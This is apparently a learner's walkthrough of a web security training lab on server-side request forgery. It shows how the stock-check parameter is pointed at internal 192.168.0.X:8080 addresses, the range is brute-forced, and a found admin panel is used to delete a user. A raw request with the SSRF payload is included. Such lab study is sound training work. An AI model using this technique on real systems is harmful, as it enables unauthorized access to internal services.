

## Basic SSRF against another back-end system

1. This lab has a stock check feature which fetches data from an internal system.
2. To solve the lab, use the stock check functionality to scan the internal **192.168.0.X** range for an admin interface on port **8080**, then use it to delete the user carlos.
3. I did the same steps as the previous lab, I intercepted the request and tried to change the URL to <http://192.168.0.X:8080> and sent it to intruder and brute force X from 2 to 254. The status code of all responses was **500** except this URL <http://192.168.0.92:8080>, It's status code was **404** which seems strange.

The screenshot shows two network requests in a browser's developer tools. The first request is a POST to '/product/stock' with a status of 500 Internal Server Error. The second request is a GET to 'http://192.168.0.92:8080' with a status of 404 Not Found.

Request	Response
Pretty	Raw
1 POST /product/stock HTTP/2	1 HTTP/2 500 Internal Server Error
2 Host: Oade00400363a8a084e0a5c40037004a.web-security-academy.net	2 Content-Type: application/json; charset=utf-8
3 Cookie: session=92rChd24l1P6Mnnd2e3eghr21IfcCYlx	3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 43	4 Content-Length: 11
5 Sec-Ch-Ua-Platform: "Windows"	5
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.74 Safari/537.36	6
7 Sec-Ch-Ua: "Google Chrome";v="110", "NotA_Brand";v="8", "Chromium";v="110"	7
8 Content-Type: application/x-www-form-urlencoded	8
9 Sec-Ch-Ua-Mobile: ?0	9
10 Accept: */*	10
11 Origin: https://Oade00400363a8a084e0a5c40037004a.web-security-academy.net	11
12 Sec-Fetch-Site: same-origin	12
13 Sec-Fetch-Mode: cors	13
14 Sec-Fetch-Dest: empty	14
15 Referer: https://Oade00400363a8a084e0a5c40037004a.web-security-academy.net	15
16 Accept-Encoding: gzip, deflate, br	16
17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7	17
18 Priority: u-1, i	18
19 Connection: keep-alive	19
20	20
21 stockApi=http://192.168.0.92:8080&storeId=1	21 "Not Found"

4. I go back to repeater and try this URL. It's already the admin panel and I have access to it.
5. Finally, I deleted the user carlos and the lab solved.

